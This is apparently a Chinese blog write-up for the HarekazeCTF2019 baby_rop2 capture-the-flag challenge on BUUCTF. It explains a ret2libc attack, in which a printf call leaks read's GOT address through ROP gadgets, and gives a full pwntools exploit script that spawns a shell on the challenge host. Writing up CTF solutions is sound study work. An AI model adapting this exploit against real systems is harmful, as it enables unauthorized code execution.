BUUCTF Pwn [HarekazeCTF2019]baby_rop2 题解

下载 得到两个文件 checksec

64位 拖入IDA64

查看main函数 看到给了个libc说明这题是ret2libc题

这里的打印函数是printf 所以利用printf函数的plt输出真实地址got

但printf的got好像不行 所以换成了read的got

因为这是64位程序 所以用寄存器传参;又因为printf得传至少2个参数 所以要用到寄存器RDI RSI

使用ROPgadget查找:

查到的rsi多了个r15寄存器 但不需要用到 所以写payload的时候记得填充它

第一个rdi传入printf里的格式化字符串

exp:

from pwn import *
from LibcSearcher import *

#p = process('./babyrop2')
p = remote("node5.buuoj.cn", 29847)
elf = ELF('./babyrop2')

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_address = 0x400636
pop_rdi = 0x400733
pop_rsi_r15 = 0x400731
formart_str = 0x400770

payload1 =b'a' * (0x20 + 8) + p64(pop_rdi) + p64(formart_str) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_address)

p.sendlineafter("name? ", payload1)
read_address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

print(hex(read_address))

libc = ELF('./libc.so.6')
offset = read_address - libc.symbols['read']
binsh = offset + libc.search('/bin/sh').__next__()
system = offset + libc.symbols['system']


payload2 = b'a' * (0x20 + 8)  + p64(pop_rdi)  + p64(binsh)+ p64(system)
 
p.sendline(payload2)
p.interactive()

运行 得到flag:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值